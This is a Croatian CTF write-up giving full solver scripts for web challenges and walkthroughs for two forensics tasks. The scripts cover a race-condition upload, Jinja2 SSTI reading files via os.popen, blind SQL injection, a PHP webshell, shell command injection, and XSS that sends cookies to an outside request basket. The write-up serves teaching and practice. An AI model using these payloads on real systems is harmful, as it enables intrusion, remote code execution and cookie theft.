može se zaključiti da se na endpoint, također vidljiv u swagger API specifikaciji

/api/getguestaccess

s opisom

Provides the admin cookie if the correct hash is provided.

treba poslati sha256 hash teksta “admin”. Slanjem ovog zahtjeva, dobiva se admin cookie, koji se treba postaviti i onda pristupiti flag endpointu.

Bash skripta koja rješava ovaj zadatak na opisani način je u nastavku.

#!/bin/bash
ADMIN_HASH=$(echo -n "admin" | sha256sum | awk '{print $1}')
echo "Admin hash: $ADMIN_HASH"

ADMIN_RESPONSE=$(curl -s -X POST http://chal.platforma.hacknite.hr:14015/api/getadminaccess \
    -H "Content-Type: application/json" \
    -d "{\"hash\":\"$ADMIN_HASH\"}" \
    -c /tmp/cookie.txt) 

echo "Admin access response: $ADMIN_RESPONSE"

FLAG_URL="/super-secret-flag-storage-endpointascei3w2q/"
FLAG_RESPONSE=$(curl -X GET -s http://chal.platforma.hacknite.hr:14015/api"$FLAG_URL" -b /tmp/cookie.txt)


echo "Flag response: $FLAG_RESPONSE"

Dohvati flag

	
Možete li dohvatiti flag koji je skriven na internoj stranici?	
 		 	
http://chal.platforma.hacknite.hr:14021

Unosom poveznice interne lokacije na koju je premješten admin.html

Vraća se greška da se točke ne prihvaćaju u hostnameu.

IP adresa se može zapisati u oktalnom zapisu, u kojem nema točaka.

Za ovo postoji web konverter IP adrese u oktalni zapis.

Rezultat konvertiranja localhost (127.0.0.1) adrese u oktalnu bez točaka je:

0177.0000.0000.0001 (017700000001)	

Ovime se može riješiti zadatak

http://017700000001:1337/admin.html

Skriptarnica

Mjesto gdje možete uploadati svoje Python skripte i pokretati ih!

http://chal.platforma.hacknite.hr:14020

Uz zadatak je dan i izvorni kod zadatka.

Ovaj zadatak ima Race condition ranjivost, gdje skripta koja se učitala, čak i ako ju server ocijeni opasnom i odluči obrisati, i dalje može izvršiti ako se zahtjev za izvršavanje skripte pošalje odmah nakon što se skripta učita.

Skripti se ime datoteke pri učitavanju pretvori u sha256 sažetak imena skripte s dodanom ekstenzijom .py. Skripte se pokreću preko endpointa

/execute/<sha256(ime skripte).py>

Ako se napravi skripta koja će učitati skriptu koja čita flag, te odmah nakon toga poslati zahtjev za izvršavanje te skripte na opisani endpoint, može se ostvariti izvršavanje skripte i iščitati rezultat izvršavanja.

Skripta koja rješava zadatak na opisani način je u nastavku.

# solver_threaded_and_correct.py
import requests
import time
import random
import string
import hashlib
from bs4 import BeautifulSoup

import threading

# --- Configuration ---
BASE_URL = "http://chal.platforma.hacknite.hr:14020/" 

ORIGINAL_FILENAME = "payload.py"

# Credentials
username = ''.join(random.choices(string.ascii_lowercase, k=10))
password = ''.join(random.choices(string.ascii_letters + string.digits, k=12))

result = {} 

def parse_and_print_result(html_content):
    try:
        soup = BeautifulSoup(html_content, 'html.parser')
        article = soup.find('article')
        if not article: return
        error_div = article.find('div', class_='alert-error')
        if error_div:
            print(f"--- SERVER ERROR ---\n{error_div.get_text(strip=True)}")
            return
        stdout_label = article.find('label', string='Standard Output')
        if stdout_label:
            stdout_pre = stdout_label.find_next_sibling('pre')
            if stdout_pre:
                print("--- STDOUT ---")
                print(stdout_pre.get_text())
        stderr_label = article.find('label', string='Standard Error')
        if stderr_label:
            stderr_pre = stderr_label.find_next_sibling('pre')
            if stderr_pre:
                print("--- STDERR ---")
                print(stderr_pre.get_text())
    except Exception as e:
        print(f"[!] HTML parsing error: {e}")

# --- Thread Functions ---
def uploader_thread(session, upload_payload):
    try:
        session.post(f"{BASE_URL}/upload", files=upload_payload)
    except requests.exceptions.RequestException:
        pass 

def executor_thread(session, execute_url, server_delay):
    start_time = time.time()
    while time.time() - start_time < (server_delay + 0.5):
        try:
            resp = session.get(execute_url)
            if not resp.history and resp.status_code == 200:
                result['status'] = 'success'
                result['content'] = resp.text
                return
        except requests.exceptions.RequestException:
            pass
    result['status'] = 'failure'

def main():
    SERVER_DELAY = 0.1
    
    with open(ORIGINAL_FILENAME, "w") as f:
        f.write("print(open('flag.txt').read())")


    hashed_filename = hashlib.sha256(ORIGINAL_FILENAME.encode()).hexdigest() + '.py'
    execute_url = f"{BASE_URL}/execute/{hashed_filename}"
    print(f"[*] Payload Filename: {ORIGINAL_FILENAME}")
    print(f"[*] Predicted Execute URL: {execute_url}")

    login_session = requests.Session()
    print(f"[*] Registering user: {username}")
    login_session.post(f"{BASE_URL}/register", data={'username': username, 'password': password})
    
    print(f"[*] Logging in as: {username}  pass: {password}")
    login_resp = login_session.post(f"{BASE_URL}/login", data={'username': username, 'password': password})

    if "Executor" not in login_resp.text or login_resp.status_code != 200:
        print("[!] Login failed. Could not verify login.")
        return
    print("[+] Login successfully verified.")

    uploader_session = requests.Session()
    executor_session = requests.Session()

    uploader_session.cookies.update(login_session.cookies)
    executor_session.cookies.update(login_session.cookies)
    
    files_payload = {'file': (ORIGINAL_FILENAME, open(ORIGINAL_FILENAME, 'rb'), 'text/x-python')}
    
    upload_task = threading.Thread(target=uploader_thread, args=(uploader_session, files_payload))
    execute_task = threading.Thread(target=executor_thread, args=(executor_session, execute_url, SERVER_DELAY))

    print("[*] Starting the race...")
    upload_task.start()
    time.sleep(0.005)
    execute_task.start()

    upload_task.join()
    execute_task.join()

    print("\n--- Race Finished ---")
    if result.get('status') == 'success':
        print("[+] We won the race!")
        parse_and_print_result(result.get('content'))
    else:
        print("[-] Failed to win the race.")

if __name__ == "__main__":
    main()

Ovaj zadatak se također može riješiti učitavanjem skripte koja čita flag uz zaobilaženje filtera koji briše skripte sa zabranjenim keywordima.

Prazno

Ova stranica izgleda vrlo prazno, možete li pronaći ulaz?

http://chal.platforma.hacknite.hr:14016

Uz zadatak je dan i izvorni kod.

Ranjivost ovog zadatka je SSTI. Python kod unesen preko “session_id” kolacija se može izvršiti pri renderu jinja2 templatea, ako se stavi unutar oznaka duplih vitičastih zagrada. Kod unutar tog kolačića se može izvršiti samo pri prikazu poruke greške, koja je javlja pri neispravnom “session” kolačiću.

Oblik payload kolačića je:

    cookies = {"session": "corrupted-data", "session_id": <payload>}

Nakon uspješne potvrde pokretanja koda,potrebno je korištenjem MRO-a pronaći dostupne module i funkcije kojima se može pročitati flag, te ih iskoristiti.

Skripta koja radi opisano, analizira dostupne module i koristi za čitanje flaga je dana u nastavku.

import requests
import re
import html

# --- Configuration ---
TARGET_URL = "http://chal.platforma.hacknite.hr:14016/"


INDEX_ENDPOINT = f"{TARGET_URL}/"
FLAG_REGEX = r"CTF2025\[\d{12}\]"

def send_payload_and_get_clean_output(payload):
    """Sends a payload and returns the clean, HTML-decoded result from the <h3> tag."""
    cookies = {"session": "corrupted-data", "session_id": payload}
    print(f"[>] Sending payload: {payload}")
    try:
        r = requests.get(INDEX_ENDPOINT, cookies=cookies, timeout=5)
        if '<h3>' in r.text:
            result_html = r.text.split('<h3>')[1].split('</h3>')[0]
            clean_result = html.unescape(result_html)
            print(f"[<] Clean result: {clean_result[:1000]}" + ("..." if len(clean_result) > 1000 else ""))
            return clean_result
        else:
            print("[!] Warning: Server response did not contain the expected '<h3>' tags. It may have failed silently.")
            return None
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection failed: {e}")
        return None


def solve():
    possible_flag_locations = ['/app/flag.txt', './flag.txt', '../flag.txt']
    print(f"[*] Will check the following possible flag locations: {possible_flag_locations}")

    print("\n" + "="*50 + "\nSTEP 1: Confirming SSTI\n" + "="*50)
    result = send_payload_and_get_clean_output("{{7*7}}")
    if result != "49":
        print("\n[!] VERDICT: SSTI NOT CONFIRMED. Stopping.")
        return
    print("\n[+] VERDICT: SSTI CONFIRMED.\n")

    print("\n" + "="*50 + "\nSTEP 2: Reconnaissance - Finding Attack Gadgets\n" + "="*50)
    subclasses_str = send_payload_and_get_clean_output("{{ ''.__class__.__mro__[1].__subclasses__() }}")
    if not subclasses_str: return

    class_list = subclasses_str.strip('[]').split(', ')
    direct_gadget_index, context_gadget_index = -1, -1
    for i, class_name in enumerate(class_list):
        if "os._wrap_close" in class_name: direct_gadget_index = i
        if "jinja2.runtime.Context" in class_name: context_gadget_index = i
    print(f"[+] Found Direct Gadget 'os._wrap_close' at index {direct_gadget_index if direct_gadget_index != -1 else 'N/A'}.")
    print(f"[+] Found Context Gadget 'jinja2.runtime.Context' at index {context_gadget_index if context_gadget_index != -1 else 'N/A'}.")


    print("\n" + "="*50 + "\nSTEP 3: Attempting Attack Strategy 1 (Direct Gadget)\n" + "="*50)
    if direct_gadget_index != -1:
        for flag_path in possible_flag_locations:
            print(f"[*] Trying flag path: {flag_path}")
            payload_s1 = f"{{{{ ''.__class__.__mro__[1].__subclasses__()[{direct_gadget_index}]('cat {flag_path}', 'r').read() }}}}"
            result_s1 = send_payload_and_get_clean_output(payload_s1)
            if result_s1 and re.search(FLAG_REGEX, result_s1):
                print(f"\n[+] SUCCESS! Strategy 1 worked!\n    FLAG FOUND: {re.search(FLAG_REGEX, result_s1).group(0)}")
                return
        print("[!] Strategy 1 failed for all flag paths.")
    else:
        print("[!] Skipping Strategy 1: Gadget not found.")


    print("\n" + "="*50 + "\nSTEP 4: Attempting Attack Strategy 2 (OS Command Injection)\n" + "="*50)
    if context_gadget_index != -1:
        for flag_path in possible_flag_locations:
            print(f"[*] Trying flag path: {flag_path}")
            payload_s2 = f"{{{{ ''.__class__.__mro__[1].__subclasses__()[{context_gadget_index}].__init__.__globals__['__builtins__']['__import__']('os').popen('cat {flag_path}').read() }}}}"
            result_s2 = send_payload_and_get_clean_output(payload_s2)
            if result_s2 and re.search(FLAG_REGEX, result_s2):
                print(f"\n[+] SUCCESS! Strategy 2 worked!\n    FLAG FOUND: {re.search(FLAG_REGEX, result_s2).group(0)}")
                return
        print("[!] Strategy 2 failed for all flag paths.")
    else:
        print("[!] Skipping Strategy 2: Gadget not found.")

    print("\n" + "="*50 + "\nSTEP 5: Attempting Attack Strategy 3 (Built-in File Read)\n" + "="*50)
    if context_gadget_index != -1:
        for flag_path in possible_flag_locations:
            print(f"[*] Trying flag path: {flag_path}")
            payload_s3 = f"{{{{ ''.__class__.__mro__[1].__subclasses__()[{context_gadget_index}].__init__.__globals__['__builtins__']['open']('{flag_path}').read() }}}}"
            result_s3 = send_payload_and_get_clean_output(payload_s3)
            if result_s3 and re.search(FLAG_REGEX, result_s3):
                print(f"\n[+] SUCCESS! Strategy 3 (Fallback) worked!\n    FLAG FOUND: {re.search(FLAG_REGEX, result_s3).group(0)}")
                return
        print("[!] Strategy 3 failed for all flag paths.")
    else:
        print("[!] Skipping Strategy 3: Context gadget not found.")
        
    print("\n[!] All attack strategies have been exhausted. Exploit failed.")

if __name__ == "__main__":
    solve()

Las Palmas

Napravili smo stranicu gdje developeri mogu predstaviti svoj portfolio, a i sigurnjaci mogu pokazati svoje vještine tako da iz baze izvuku tajni flag.

http://chal.platforma.hacknite.hr:14012

Uz zadatak je dan i izvorni kod.

Ranjivost ovog zadatka je second order blind SQL injection.

Umjesto odabira vještine iz dropdown izbornika, može se unijeti SQL injekcija koja će se izvršiti na endpointu pregleda portfolia. No za svaki upit rezultat vraćen iz baze prolazi ovom funkcijom.

def numericLetterGradeMapping(numeric_grade):

    if numeric_grade < 0 or numeric_grade > 5:
          raise Exception("Invalid numeric grade")


    return chr(65 + (5 - numeric_grade) % 6)

što čini ovaj zadatak blind, jer odgovor svakog upita mora biti broj između 0 i 4.

Zadatak se može napraviti skriptom koja će prvo na izboru vještina postaviti 5 SQL injection blind upita, potom potaknuti njihovo izvršavanje na endpointu za pregled portofolia, sve dok ne sazna sve znakova flaga.

Također, pregledom izvornog koda danog uz zadatak se može vidjeti gdje se nalazi file unutar datoteke

dbFill.py

Opisana skripta dana je u nastavku.

import requests
import string
import time
import sys

# --- Configuration ---
BASE_URL = "http://chal.platforma.hacknite.hr:14012/"

SELECTION_URL = f"{BASE_URL}/"
PORTFOLIO_URL = f"{BASE_URL}/portfolio"

s = requests.Session()

def check_server_status():
    try:
        r = s.get(BASE_URL, timeout=5)
        if r.status_code == 200:
            print(f"[+] Server is up at {BASE_URL}")
            return True
        else:
            print(f"[!] Server at {BASE_URL} returned status code {r.status_code}.")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[!] Server at {BASE_URL} is unreachable.")
        print(f"[!] Error details: {e}")
        return False

def select_skill(skill_payload):
    data = {'action': 'select', 'skill': skill_payload}
    try:
        s.post(SELECTION_URL, data=data, timeout=5)
    except requests.exceptions.RequestException as e:
        print(f"\n[!] Error during skill selection: {e}")
        return False
    return True

def remove_skill(skill_payload):
    data = {'action': 'remove', 'skill': skill_payload}
    try:
        s.post(SELECTION_URL, data=data, timeout=5)
    except requests.exceptions.RequestException as e:
        pass

def check_condition(payload):
    if not select_skill(payload):
        return None

    try:
        r = s.get(PORTFOLIO_URL, timeout=5)
    except requests.exceptions.RequestException as e:
        print(f"\n[!] Error while checking portfolio: {e}")
        remove_skill(payload)
        return None

    remove_skill(payload)

    return '<td>A</td>' in r.text

def exploit():
    if not check_server_status():
        return

    print("\n[-] Searching for flag length...")
    flag_length = 0
    for i in range(1, 22):
        payload = f"' UNION SELECT 5 FROM flag WHERE length(flag) = {i} -- "
        result = check_condition(payload)

        if result is None:
             print("[!] Exploit aborted due to connection error.")
             return

        if result:
            flag_length = i
            print(f"[+] Found flag length: {flag_length}")
            break
        else:
            sys.stdout.write(f"\r[.] Trying length: {i}")
            sys.stdout.flush()

    if flag_length == 0:
        print("\n[!] Could not determine flag length.")
        return

    print("\n[-] Extracting the flag...")
    
    charset = string.digits + string.ascii_letters + "[]"
    flag = ""

    for i in range(1, flag_length + 1):
        found_char_for_pos = False
        for char in charset:
            payload_char = "''" if char == "'" else char
            
            payload = f"' UNION SELECT 5 FROM flag WHERE substr(flag, {i}, 1) = '{payload_char}' -- "
            
            sys.stdout.write(f"\r[.] Flag: {flag}{char}")
            sys.stdout.flush()

            result = check_condition(payload)

            if result is None:
                print("\n[!] Exploit aborted due to connection error.")
                return

            if result:
                flag += char
                found_char_for_pos = True
                break
        
        if not found_char_for_pos:
            print(f"\n[!] Could not find character at position {i}.")
            flag += "?" 

    print(f"\n\n[+] SUCCESS! Extracted Flag: {flag}")

if __name__ == "__main__":
    exploit()

Nemoguća misija 2025

http://chal.platforma.hacknite.hr:14018

Uz zadatak je dan i izvorni kod.

Ovaj zadatak ima ranjivost u custom implementaciji parsera u datoteci config.html

Ranjiva funkcija je u nastavku.

function parser($uploaded_path, $user_dir, $base) {
    // Read the uploaded file
    $uploaded = file_get_contents($uploaded_path);
    if ($uploaded === false) {
        return false;
    }
    $fileLen = strlen($uploaded);

    // Compute MD5 hash in hex
    $hex = md5_hex($uploaded);
    $shaLen = strlen($hex);

    $totalLen = $fileLen + $shaLen;
    $concat = $uploaded . $hex;

    $out1 = $user_dir . '/' . $base . '.txt';
    $out2 = $user_dir . '/' . $base . 'Hash';

    // Open files for writing
    $f1 = fopen($out1, 'wb');
    $f2 = fopen($out2, 'wb');
    if (!$f1 || !$f2) {
        return false;
    }

    $copyIdx = 0;
    for ($i = 0; $i < $totalLen; $i++) {
        $check = $concat[$i];
        if (is_invalid_byte($check)) {
            continue;
        }

        if ($i < $fileLen) {
            $towrite = $concat[$copyIdx];
            fwrite($f1, $towrite);
        } else {
            $towrite = $concat[$copyIdx];
            fwrite($f2, $towrite);
        }

        $copyIdx++;
        if ($copyIdx >= $totalLen) break;
    }

    fclose($f1);
    fclose($f2);
    return true;
}

Greška u implementaciji je u načinu kako funkcija podnosi invalid bajt, ako naiđe na invalid bajt, preskače se ta iteracija petlje s continue statementom, čime će se preskočiti inkrementiranje $copyIdx indeksa, dok će indeks $i biti uvećan.

Na ovaj način se za svaki invalid byte u datoteci koja se Šalje, može upisati jedan željeni bajt u hash datoteku koju server sam generira. Za 16 invalid bajtova se može upisati 16 željenih bajtova u datoteku u kojoj bi server inače spremio MD5 hash učitane datoteke.

Koristeći tu činjenicu i dio konfiguraciju u .htaccess datoteci prikazane u nastavku:

<FilesMatch "^[^.]+$">
    ForceType application/x-httpd-php
</FilesMatch>

Može se u datoteci koja se učitava konstruirati PHP webshell koji će se s pomoću manipulacije invalid byteovima nakon parsiranja upisati u datoteku u kojoj bi se inače nalazio MD5 hash, te se radi .htaccess konfiguracije može izvršavati.

Bash skripta koja generira ovakav file za učitavanje, kojim će se dobiti web shell je u nastavku.

#!/bin/bash
md5_hex=$((  echo -n "Hello World! Hello World! Hello World!" | md5sum )| awk '{print $1}')


webshell='<?=`$_GET[cmd]`;?>'

while [ ${#webshell} -lt 32 ]; do
    webshell="$webshell "
done
webshell=${webshell:0:32}

(printf '\0%.0s' {1..32}; printf "%s" "$webshell") > aboutMeWebShell.txt

echo "generated aboutMeWebShell.txt"
echo "Web shell: $webshell"

Nakon toga je potrebno pristupiti putanji na kojoj će se dohvatiti PHP webshell na endpointu.

/uploads/<sha256(username)>/aboutMeHash

Na kojoj se mogu izvršavati bash komande preko cmd argumenta, te ostaje samo pročitati flag ENV varijablu.

Hash Browns

Testirajte web sjedište našeg restorana

http://chal.platforma.hacknite.hr:14017

Uz zadatak je dan i izvorni kod.

Ranjivost u ovom zadatku je Command injection.

Korisnički unos dan preko stranice se na nesiguran način izvršava kao bash naredba s pomoću subprocess modula.

Zadatak ima filter na ulazu, kojim su zabranjeni određeni unosi, te validaciju na prije povratka rezultata izvršene komande, da rezultat izvršavanja mora odgovarati sha265 regexu.

Zadatak se može riješiti na više načina, nakon Što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i paddat da odgovara sha256 regexu, ili se mogu izvršavati blind upiti, gdje su pitanja npr. u obliku “ako je tvrda točna vrati sha256(1), ako je tvrdnja netočna vrati sha256(0), kao Što je u skripti rješenja zadatka.

Također se zadatak može riješiti i crackanjem vraćenog sha256 hasha unutar kojega je i vraćen flag, di je jedini nepoznati dio 12 znamenki korištenjem alata hashcat, ako hashcat ima zadovoljavajuć hashrate i koristi grafičku karticu, pa može pretražiti prostor u prihvatljivom vremenu.

Skripta koja rješava zadatak s pomoću blind upita je u nastavku.

import requests
import string
import time
import hashlib

URL = "http://chal.platforma.hacknite.hr:14017/hash" 

CHARSET = "CTF[]0123456789"

HASH_OF_TRUE = hashlib.sha256(b"a").hexdigest()

known_flag = ""
position = 1

print(f"'TRUE' signal: {HASH_OF_TRUE}")
print("="*40)

MAX_FLAG_LENGTH = 30

DISCOVERY_PAYLOAD = (
    'd=$(printf aa|wc -c);'
    'f=$(printf aaaaa|wc -c);'
    's=$(printf aaaaaa|wc -c);'
    'c=$(ls /usr/bin/sha*sum|grep $d|grep $f|grep $s);'
)

while position <= MAX_FLAG_LENGTH:
    found_char_for_pos = False
    for char_to_guess in CHARSET:
        
        
        pos_gen = f"p=$(printf {'a' * position}|wc -c);"
        one_gen = 'i=$(printf a|wc -c);'
        
        core_logic = ''
        if char_to_guess in string.digits:
            num_of_a = int(char_to_guess)
            a_string = 'a' * num_of_a
            
            if char_to_guess == '0':
                a_string = ''

            digit_gen_for_grep = f'g=$(printf "{a_string}"|wc -c);'
            core_logic = f'{digit_gen_for_grep}head -c$p f*|tail -c$i|grep -Fq "$g"'
        else:
            core_logic = f'head -c$p f*|tail -c$i|grep -Fq "{char_to_guess}"'

        oracle = '&& printf a|$c || printf b|$c'
        command = DISCOVERY_PAYLOAD + pos_gen + one_gen + core_logic + oracle
        payload = f"' ; {command} ; #"
        print(payload)
        json_data = {"user_input": payload}

        try:
            res = requests.post(URL, json=json_data, timeout=10)
            response_json = res.json()

            if response_json.get("success") is True:
                returned_hash = response_json.get("hash", "")
                
                if returned_hash == HASH_OF_TRUE:
                    known_flag += char_to_guess
                    print(f"Found character at position {position}: '{char_to_guess}'")
                    print(f"Current Flag: {known_flag}")
                    position += 1
                    found_char_for_pos = True

                    if char_to_guess == ']':
                        print("\nFound closing bracket, flag is complete.")
                        position = MAX_FLAG_LENGTH + 1
                    
                    break

        except requests.RequestException as e:
            print(f"An error occurred: {e}")
            time.sleep(1)

    if not found_char_for_pos:
        print(f"Character at position {position} not found.")
        break

print("="*40)
print(f"Exploit finished. Final Flag: {known_flag}")

Eksfiltriraj flag

Možeš li pronaći dobitnu konfiguraciju koja ti otkriva flag?

http://chal.platforma.hacknite.hr:14032

Uz zadatak je dan i izvorni kod.

Ranjivost u ovom zadatku je XSS.

U zadatku je potrebno konstruirati prototype pollution XSS napad nad stranicom, ali postavljanjem HOST vrijednosti u “localhost” i postavljenjem PORT vrijednosti u 5000 (zadnja linija app.py, slično kao SSRF) umjesto URL-a stranice, kako bi admin bot koristio svoj cookie pri posjeti stranice, te potom JavaScript kodom u XSS-u se treba adminov cookie pročitati i poslati na vlastiti request basket.

U nastavku je dana JS skripta koja generira link koji se potom pošalje administratoru preko forme na stranici, i nakon toga se na svojem request basketu čeka zabilježeni zahtjev u kojemu će biti admin cookie enkodiran u base64 formatu.

Napomena: u ovoj skripti je potrebno u prvoj liniji koda unijeti URL svojeg request basketa. Koristite request baskets od platforme!

const EXFIL_URL_BASE = "<request basket URL>" //npr. "http://requestbaskets.platforma.hacknite.hr/<endpoint>" 

const LOCAL_URL = "http://localhost:5000"

const cfg = {};

Object.defineProperty(cfg, "__proto__", {
  value: {
    "render": `(() => { 
        const allCookies = document.cookie; // get all cookies
        const encoded = btoa(allCookies);
        fetch('${EXFIL_URL_BASE}/' + encoded);
    })()`,
    "addNote": `(function(title,content){ console.log('addNote-demo', title, content) })`
  },
  enumerable: true,
  configurable: true,
  writable: true
});

cfg.font = "Arial, sans-serif";
cfg.background = "#ffffff";

const encodedConfig = encodeURIComponent(JSON.stringify(cfg));

const fullUrlForAdmin = `${LOCAL_URL}/?config=${encodedConfig}`;

console.log("Full URL for admin bot:\n", fullUrlForAdmin);

kanta

PHPMadness

Puno rješenje zadatka je napisano ovdje:

CTF writeup - PHPmadness

Forenzika

gnp.galf

U zadatku je dana samo “gnp.galf” datoteka, koje je zapravo “flag.png” unazad.

No pri pokušaju otvaranja ovog kao slike, vraćena je greška da je file signature nepoznat ili neispravan.

naredbom file nad datotekom ili binwalk, vidi se po odgovori da nije prepoznat file signature, kao ni ručnom inspekcijom pomoću alata xxd.

Zapravo je i sadržaj same datoteke izokrenut unazad, kao što je i ime datoteke. Pitanje je jesu li bajtovi izokrenuti unazad ili bitovi. Da su bajtovi izokrenuti unazad, na početku datoteke bi bili GNP bajtovi, no to nije slučaj.

$ xxd gnp.galf | head
00000000: 4106 4275 2272 a292 0000 0000 a822 282e  A.Bu"r......."(.
00000010: 0c0c 5c0c 0cd4 8cac 5c9c 2c5c 8c8c 2acc  ..\.....\.,\..*.
00000020: 0cb4 9c0c b4ac 4c0c 4c00 0eb6 862e cea6  ......L.L.......

Može se pokušati izokrenuti datoteka po bitovima, bash naredbom

perl -e '$/=\1; while(<>){print scalar reverse pack("B*", unpack("b*",$_))}' < gnp.galf > flagR1.png

file i dalje ne prepoznaje datoteku, ručnom inspekcijom s pomoću xxd može se pročitati početak datoteke:

$ xxd flagR1.png | head
00000000: 8260 42ae 444e 4549 0000 0000 1544 1474  .`B.DNEI.....D.t
00000010: 3030 3a30 302b 3135 3a39 343a 3131 5433  00:00+15:94:11T3
00000020: 302d 3930 2d35 3230 3200 706d 6174 7365  0-90-5202.pmatse

I dalje ne sadrži niti “PNG” niti “GNP”, ali zapravo sadrži “IEND.B” unazad, što je oznaka za kraj PNG datoteke.

Pregledom bajtova na kraju datoteke, može se vidjeti “GNP”.

$ xxd flagR1.png | tail -n 5
00002cf0: 0000 983a 0000 60ea 0000 3075 0000 e880  ...:..`...0u....
00002d00: 0000 00fa 0000 8480 0000 267a 0000 4d52  ..........&z..MR
00002d10: 4863 2000 0000 616d fd2f 0000 0000 08c8  Hc ...am./......
00002d20: 0000 00bc 0200 0052 4448 490d 0000 000a  .......RDHI.....
00002d30: 1a0a 0d47 4e50 89                        ...GNP.

To je naznaka da file treba izokrenuti unazad sada po bajtovima.

To se može napraviti bash naredbom:

xxd -p -c 1 flagR1.png | tac | xxd -r -p > flag.png

Sada je ova datoteka prepoznata kao PNG.

$ file flag.png
flag.png: PNG image data, 700 x 200, 8-bit grayscale, non-interlaced

Otvaranjem slike, vidi se da je na slici korišten “swirl” efekt.

Ovaj efekt se može napraviti unazad, ili alatom kao što je GIMP ili Photoshop ili online alatom.

Unosom vrijednosti za swirl amount -700, dobiva se jasno vidljiv flag.

 Flag

Hotel

Kada se slastičar Marko vratio u hotel, njegov laptop je bio malo pomaknut, no na to nije obraćao pažnju. Nekoliko dana kasnije, konkurentska firma je počela proizvoditi sladoled iznimno sličan njegovom.

Marko sumnja da je njegov laptop kompromitiran. Markov laptop je šifriran. Dopustio ti je da uzmeš forenzičku sliku diska i želi da demonstriraš postojanje "backdoora" tako da pristupiš sadržaju diska.

https://ferhr-my.sharepoint.com/:u:/g/personal/bnadarevic_fer_hr/EVFNFEaoWRpGlHPqeeTtlakBVi0WTX5lfGD8pW12d2cf5w?e=qG9Tdk

Uz zadatak je dostupna komprimirana QCOW2 (QEMU Copy-On-Write) slika Linuxa, kojemu je datotečni sustav enkriptiran alatom LUKS (Linux Unified Key Setup)

Nakon ekstrakcije, pozicioniranjem u isti direktorij kao i slika, može se napraviti mount, negdje u korisnički user direktorij.

sudo modprobe nbd max_part=16
sudo qemu-nbd --connect=/dev/nbd0  ./laptop.qcow2 
sudo mount /dev/nbd0p1 ~/mount

U tekstu zadatka piše da je Markov laptop šifriran, LUKS je najkorišteniji alat za enkripciju diska kod Linux operacijskih sustava.

$cd ~/mount
$ sudo grep -ri "LUKS" ./
grep: ./grub/i386-pc/luks.mod: binary file matches
./grub/i386-pc/moddep.lst:luks: pbkdf2 crypto cryptodisk
grep: ./grub/i386-pc/cryptodisk.mod: binary file matches

Vidi se da su prisutni moduli za LUKS.

Pregledom ostalih dostupnih datoteka i direktorija, vidi se da je mountan samo /boot direktorij, on nije šifriran kada se koristi LUKS, zato da se OS može pokrenuti do upita za unos lozinke za LUKS dekripciju.

~/mount$ ls -lah
total 125M
...
-rw-r--r--  1 root   root   213K srp  10  2020 config-4.15.0-112-generic
drwxr-xr-x  5 root   root   4,0K ruj  23 13:03 grub
-rw-r--r--  1 root   root    56M ruj  23 14:18 initrd.img-4.15.0-112-generic
-rw-r--r--  1 root   root    56M ruj  23 14:59 initrd.img-4.15.0-112-generic.bak
drwx------  2 root   root    16K ruj  23 13:00 lost+found
-rw-r--r--  1 root   root   179K sij  28  2016 memtest86+.bin
-rw-r--r--  1 root   root   181K sij  28  2016 memtest86+.elf
-rw-r--r--  1 root   root   181K sij  28  2016 memtest86+_multiboot.bin
-rw-------  1 root   root   3,9M srp  10  2020 System.map-4.15.0-112-generic
-rw-r--r--  1 root   root   7,9M kol   7  2020 vmlinuz-4.15.0-112-generic

Sam LUKS alat također nije enkriptiran, jer je on upravo zaslužan za dekripciju datotečnog sustav, zato ga je dobro provjeriti za postojanje nekog backdoora, kao što je spomenuto u tekstu zadatka. Kako bi se LUKS provjerio, potrebno je pregledati initrd (initial RAMdisk, za vrijeme boota se koristi), srećom dostupan je i initrd backup.

~/mount$ ls
...
initrd.img-4.15.0-112-generic 
initrd.img-4.15.0-112-generic.bak
...

~/mount$ file initrd.img-4.15.0-112-generic
initrd.img-4.15.0-112-generic: ASCII cpio archive (SVR4 with no CRC)

~/mount$ file initrd.img-4.15.0-112-generic.bak 
initrd.img-4.15.0-112-generic.bak: ASCII cpio archive (SVR4 with no CRC)


~/mount$ man cpio / tldr cpio
...

Haxxor

Zaplijenjeno je računalo zloglasnog hakera. Sumnja se da je pokušao svom vođi poslati poruku na neki neobičan način. Možeš li otkriti sadržaj poruke?

https://ferhr-my.sharepoint.com/:u:/g/personal/bnadarevic_fer_hr/EZ6L6hOtjnpNpQKFuK5e9jwBL70q_KjiOQeQQTjRw3sFUQ?e=WyfKsB

Haxxor: poruka više nije dostupna na internetu, ali možete ju svejedno rekonstruirati

Uz zadatak je dostupna i komprimirana QCOW2 (QEMU Copy-On-Write) slika Kali linuxa.

Nakon ekstrakcija datoteke, potrebno je napraviti mount QCOW2 slike.

Za to je potreban paket qemu-utils

sudo apt install qemu-utils

Nakon toga se može pozicionirati u isti direktorij kao i QCOW2 slika i napraviti mount na /mount (ili npr. na /mnt/kali)

sudo modprobe nbd max_part=16

sudo qemu-nbd --connect=/dev/nbd0 ./kali-linux-2025.2-qemu-amd64.qcow2

#sudo fdisk -l /dev/nbd0

#du -h kali-linux-2025.2-qemu-amd64.qcow2

sudo mount /dev/nbd0p1 /mount

Sada će se preko putanje /mount moći čitati datotečni sustav Kali slike.

/mount$ ls
bin   dev  home        initrd.img.old  lib32  lost+found  mnt  proc  run   srv   sys  usr  vmlinuz
boot  etc  initrd.img  lib             lib64  media       opt  root  sbin  swap  tmp  var  vmlinuz.old


$ cd /mount/home/kali/

Nakon inicijalnog pretraživanja može se pronaći da postoji zapisi korištenja FireFox web preglednika, gdje se može pronaći i default user (Profile0 u profiles.ini).

/mount/home/kali/.mozilla/firefox$ cat profiles.ini 

....

[Profile0]
Name=default-esr
IsRelative=1
Path=ktp4p5og.default-esr


/mount/home/kali/.mozilla/firefox$ cd ktp4p5og.default-esr/

U direktoriju ovog korisnika, jedni od zanimljivijih datoteka su places.sqlite i places.sqlite-wal (iako je u ovom slučaju prazan, sve iz njega je već zapisano u places.sqlite), koji zapisuju određene podatke o posjećenim stranicama

/mount/home/kali/.mozilla/firefox/ktp4p5og.default-esr$ strings places.sqlite

....
	https://backend.wplace.live/auth/google?token=...
        ...
	https://wplace.live/Wplace - Paint the world...
aWplace is a collaborative, real-time pixel canvas layered over the world map, where anyone can paint and create art together.https://wplace.live/img/og-image.png
%			
	http://wplace.live/
...

